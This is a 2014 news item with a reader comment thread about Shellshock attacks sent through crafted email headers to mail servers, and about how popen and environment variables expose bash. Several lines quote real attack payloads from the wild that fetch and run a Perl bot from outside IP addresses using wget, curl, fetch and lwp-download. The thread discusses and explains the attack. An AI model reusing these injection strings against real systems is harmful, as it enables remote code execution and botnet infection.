It didn't take long for criminals to start exploiting the Shellshock bug. Although the process is slow, vulnerable MTAs and MDAs are being targeted with email containing specially crafted headers:
The messages themselves are blank, but the code needed to exploit the Shellshock vulnerability is placed into the message's headers.
The person(s) behind the spam blasts are including the following code in several message fields, including the "To:" field, "From:" field, "Subject" field, "Date:" field, "Message ID:" and others.Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend
References:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend
A full list of the fields is available.
(Score: -1, Flamebait) by Anonymous Coward on Tuesday October 28 2014, @03:07AM
Those of us using OpenBSD aren't affected by this, because OpenBSD doesn't force a shitty shell like Bash on us in the first place.
(Score: 0) by Anonymous Coward on Tuesday October 28 2014, @03:27AM
Bash is available in ports and, while bash is certainly a piece of shit, I'd argue that any network subsystem passing unverified commands to the shell is hopelessly insecure.
(Score: 2) by RobotMonster on Tuesday October 28 2014, @04:12AM
Yeah I'm a bit mystified by this; why would an email server be passing fields from emails directly to a shell?
The content of legend.txt [190.94.251.41] is kinda amusing though:
#!/usr/bin/perl
###########################################################
#-PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--#
###########################################################
# Legend Bot [2011] DO NOT FUCKIN SHARE! #
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #
(Score: 0) by Anonymous Coward on Tuesday October 28 2014, @04:23AM
That's the real question. It's not just a bash vulnerability, it's a *really fucking horrifying* vulnerability in MTA's and MDA's if header fields can compromise the mailserver. Postfix, procmail, and sendmail are all affected. Implied is that these MTA's are all at some level bash scripts (or at least scripts executing on bash in lieu of another shell) and are not even trying to sanitize data from the e-mail headers, which has to be one of the worst fuckups in history.
(Score: 0) by Anonymous Coward on Tuesday October 28 2014, @06:25AM
Fortunately it isn't true. Postfix and sendmail AFAIK don't just willy-nilly execute random data they receive from some joker on the Internet in a shell, at least not out of the box in most default installs by the distributions I am aware of. While it is possible to write a procmail recipe that does what is necessary for the exploit, but I haven't heard of anyone just slapping a procmail recipe that at some point feeds an unfiltered and un-escaped message ID from outside into a local shell without validation.
(Score: 0) by Anonymous Coward on Tuesday October 28 2014, @08:17AM
I'm wondering also... I used to write shell scripts that would be called from /etc/aliases, but I'm pretty sure the headers were read from stdin, and not from environment variables. So even that should be "safe" (assuming 100% perfect quoting, but that has nothing to do with shellshock).
(Score: 2) by choose another one on Tuesday October 28 2014, @02:03PM
And how exactly would they sanitize these headers ? Which characters are invalid per the RFCs, which known malicious data should they have been filtering out ?
The MTAs and MDAs are not executing headers randomly, they are putting data in the environment from an external source and passing it to child processes that way (right way / only way).
Unix MTA/MDAs are nothing if not flexible and configurable, so the mail processing pipeline may include shell scripts or programs called using the shell (system() etc) - and boom.
Take a look (for one example) at procmail tutorial from close to 20yrs ago: http://tldp.org/LDP/LG/issue14/procmail.html [tldp.org]
Count the instances of "script" or "shell".
Bash is the problem - the environment is external data by definition, untrustworthy and unknown source by definition, it is NOT code and should never have been treated as code.
All this is not news to those who had a clue about shellshock and didn't just say "well I'm not stupid enough to run bash from CGI so I'm fine":
https://www.dfranke.us/posts/2014-09-27-shell-shock-exploitation-vectors.html [dfranke.us]
(Score: 2) by FatPhil on Tuesday October 28 2014, @03:45PM
The *shell* needs sanitising. Bash had a braindead implementation of feature that some have described as "insane".
I *demand* the right to have those strings in subject lines, as that's what the RFC's permit. They are strings of US-ASCII, and as such are harmless. If a program stupidly decides to execute strings of US-ASCII just because they match a certain pattern, then that program should be nuked, and the designers of that feature, and everyone responsible for the committing of its implementation into the mainline should be taken outside and flayed.
Great minds discuss ideas; average minds discuss events; small minds discuss people; the smallest discuss themselves
(Score: 3, Funny) by FatPhil on Tuesday October 28 2014, @03:54PM
Great minds discuss ideas; average minds discuss events; small minds discuss people; the smallest discuss themselves
(Score: 1) by SCY on Tuesday October 28 2014, @09:28AM
Looks like even the crackers want their IP protected ;-)
(Score: 0) by Anonymous Coward on Tuesday October 28 2014, @01:46PM
They're not passing "unverified commands", they're passing environment variables. The problem is 1) bash exports/imports functions with environment variables 2) by parsing environment variables as if they were typed at the commandline or text in the shell script 3) and the parser is hopelessly buggy.
(Score: 2) by LoRdTAW on Tuesday October 28 2014, @11:06AM
Just out of curiosity, what is your shell of choice? I am not a *nix expert nor a sysadmin but I do use Linux frequently for development work. I began to play with Z shell but are there any others?
(Score: 2, Informative) by darkfeline on Tuesday October 28 2014, @02:25PM
>OpenBSD doesn't force a shitty shell like Bash on us in the first place
For the benefit of people other than the parent (which I can only assume is a troll), neither does Linux, and in fact quite a few distributions do not use Bash as /bin/sh. On the flip side, BSD, Windows, and Macs are also vulnerable to this bug if they have an old version of Bash installed (last I checked, OSX still has a vulnerable Bash installed by default). So in this case, only OSX is "forcing" Bash on its users.
Join the SDF Public Access UNIX System today!
(Score: 3, Interesting) by novak on Tuesday October 28 2014, @04:41AM
I actually got something similar last friday about noon on my email server. While otherwise uninteresting as I was both patched and not stupid enough to run bash as the default shell, I don't think it's the same bot. Looks like there are more than just the very official pastebin link provided.
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget [178.254.31.165] 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
I'm also curious what they expect the default MTA to be that would actually process the email fields using bash, because, as others have said, that seems like incredibly bad security. Does anyone have more info on that? Is it somehow standard behavior?
novak
(Score: 4, Informative) by SCY on Tuesday October 28 2014, @09:20AM
>I'm also curious what they expect the default MTA to be that would actually process the email fields using bash, [...]
No, mail headers are not processed by bash directly.
The hope of the attackers is that these mail headers are PUT IN THE ENVIRONMENT by the MDA when the mail is processed by some mail scanning/processing tool that is called indirectly using bash.
Something like your favorite MDA calling an external program to scan for viruses, spam-check it or sort it into multiple mailboxes.
(Score: 2) by jasassin on Tuesday October 28 2014, @10:46AM
Thanks for this post. I was confused about the injection path.
Afterthought, why didn't the legend.txt code use dynamic domain name servers instead of static addresses?
Why are the static IP's still hosting this shit?
jasassin@gmail.com GPG Key ID: 0xE6462C68A9A3DB5A
(Score: 0) by Anonymous Coward on Tuesday October 28 2014, @02:34PM
Why would it be "stupid" to have bash as the default? Are you saying nearly every distro got it wrong and every admin that uses it is of low intelligence?
(Score: 2) by emg on Tuesday October 28 2014, @05:28PM
It would be stupid to pick as your default shell something that's stupid enough to execute random code it finds in environment variables. So, yes, most of them got it wrong.
(Score: 2) by PizzaRollPlinkett on Tuesday October 28 2014, @11:26AM
I read the article several times before deciding it doesn't actually ever say how text from an e-mail message gets sent to bash. I'd like more information on the mechanics here. How do header lines get evaluated as bash scripts to trigger the bug? What programs do this, and also why would they do this?
From the "good old days" of mailing lists, you used to be able to use | syntax in an alias to pipe a message to a mailing list program. I guess this feature still exists, but the programs (usually Perl) got the message as text, and hopefully didn't evaluate lines of text as code.
(E-mail me if you want a pizza roll!)
(Score: 1) by McD on Tuesday October 28 2014, @03:35PM
Qmail, for example, will populate the environment with variables describing the To and From addresses before handing off to local delivery.
This facilitates faster and easier filtering: a user can write simple delivery instructions based on addressing without having to parse the mail, because the MTA has already parsed it and shares that information.
Unfortunately, an address constructed to exploit Shellshock would pollute the environment and trigger the exploit if any of the child processing was done by an exploitable bash.
(Score: 5, Interesting) by AudioGuy on Tuesday October 28 2014, @06:29PM
What needs to be mentioned here is how easy it is to be in a bash environment without realizing it.
There is a lot of piping that goes on, not only in mail filtering, but to delivery agents.
Mail programs such as sendmail or postfix don't usually handle the delivery of mail, they call a separate mail delivery program. Further, that program often calls spam filters, or other helpers. This is usually done using pipes.
How are pipes done in C? Often with 'popen()'. The simplest way. And what does popen do? From its man page:
DESCRIPTION
The popen() function opens a process by creating a pipe, forking, and
invoking the shell.
What shell? Why bash, if that is the default shell, of course. So every time you pipe to a program you are in a bash environment, and popen is specifically named as a vulnerability problem.
Now imagine I am writing The Mother Of All Spam Filtering Programs. The coolest spam filter ever.
I have the mail piped to my master program, which breaks the entire email into all its component parts, and puts them into an array. Each of those parts may be sent, optionally, to a separate filter, written in any language. That way I can just filter on certain things, or write really clever filters to look for spammer patterns just in certain areas.
I have one that looks ONLY at the very first Received line. This is useful because spammers usually forge these lines, and I may be able to detect a pattern in how they forge them that will let me detect that an email is spam.
So I need to pipe just the first received line to an external program which may be written in any language - the simple way to do that is to pass it as an environment variable, and have the external program just return a yes or no.
So I call popen() to pipe it. Now, I COULD pass the whole array to it, but that would be very inefficient - all it needs is just one environment variable. So, I just pass that. Since popen gives me a bash environment, a really easy way to do this might be something like this:
popen("FIRSTREC=$MAILARRAY[23];myfilterfirstrcvd", "w");
Bash will evaluate:
FIRSTREC=$MAILARRAY[23]
Then run my filter program:
myfilterfirstrcvd
Why not? After all we are just setting an environment variable, why would this be a problem? It's just text...
Of course in this case it is not. If that received line happens to have a function in it, bash will evaluate that function as it evaluates the array variable, and BANG, we are dead. It happens before the actual filter is even called.
You see how insidious this is? It does not actually matter WHAT language the actual filter is written in or whether it even looks at environment variables, it could just as well be 'Hello World' and we are still doomed.
This is some thoughtless programming in bash, because it violates the Principle Of Least Surprise. One does not expect functions to be evaluated in environment variables.
Note that simply assigning a new variable to an environment variable in bash will cause it to be evaluated.
So for example, you cannot easily clean up an environment variable in bash, then use it safely. This will not work, for example:
SAFERCVDLINE=`echo $FIRSTRCVDLN | tr -d '(){}'`
The function in the array will be evaluated before it is assigned, so you are still dead.
This is a very dangerous bug with subtle and unexpected side effects.